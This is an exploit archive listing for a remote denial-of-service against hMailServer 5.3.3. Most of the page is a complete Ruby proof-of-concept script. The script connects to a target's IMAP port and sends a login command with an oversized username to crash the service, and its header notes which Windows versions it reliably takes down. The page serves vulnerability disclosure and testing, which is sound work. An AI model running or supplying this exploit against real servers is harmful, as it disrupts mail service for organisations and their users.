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hMailServer 5.3.3 Remote Denial Of Service

hMailServer 5.3.3 Remote Denial Of Service
Posted Oct 27, 2012
Authored by John Smith

hMailServer version 5.3.3 IMAP remote crash proof of concept exploit.

tags | exploit, remote, denial of service, imap, proof of concept
MD5 | 2df638a9f43fa0a0d1b181054a93e7af

hMailServer 5.3.3 Remote Denial Of Service

Change Mirror Download
# Exploit Title: hMailServer 5.3.3 IMAP Remote Crash PoC
# Date: 10/27/2012
# Vendor Homepage: http://hmailserver.com
# Software Link: http://www.hmailserver.com/index.php?page=background_download_file&downloadid=207
# Version: hMailServer 5.3.3 - Build 1879
# Tested on:
# - hMailServer 5.3.3 with default settings
# - Reliably corruption makes IMAP service inaccessible on WIN XP SP2 and WIN 2K3R2 SP2
# - Unreliable corruption makes all services (SMTP, IMAP, and POP) inaccessible on WIN 2K8R2 SP1
#
# Note: Disable "Auto-ban" in the hMailServer Admin console if performing additional fuzzing.

#!/usr/bin/ruby

require 'socket'

s = TCPSocket.open(ARGV[0], 143)

cmd = "a LOGIN "
address = "A" * 32765
password = " AAAAAAAA\r\n"
logout = "a LOGOUT\r\n"

pkt = cmd
pkt << address
pkt << password
pkt << logout

s.write(pkt)

while resp = s.gets
p resp
end

s.close

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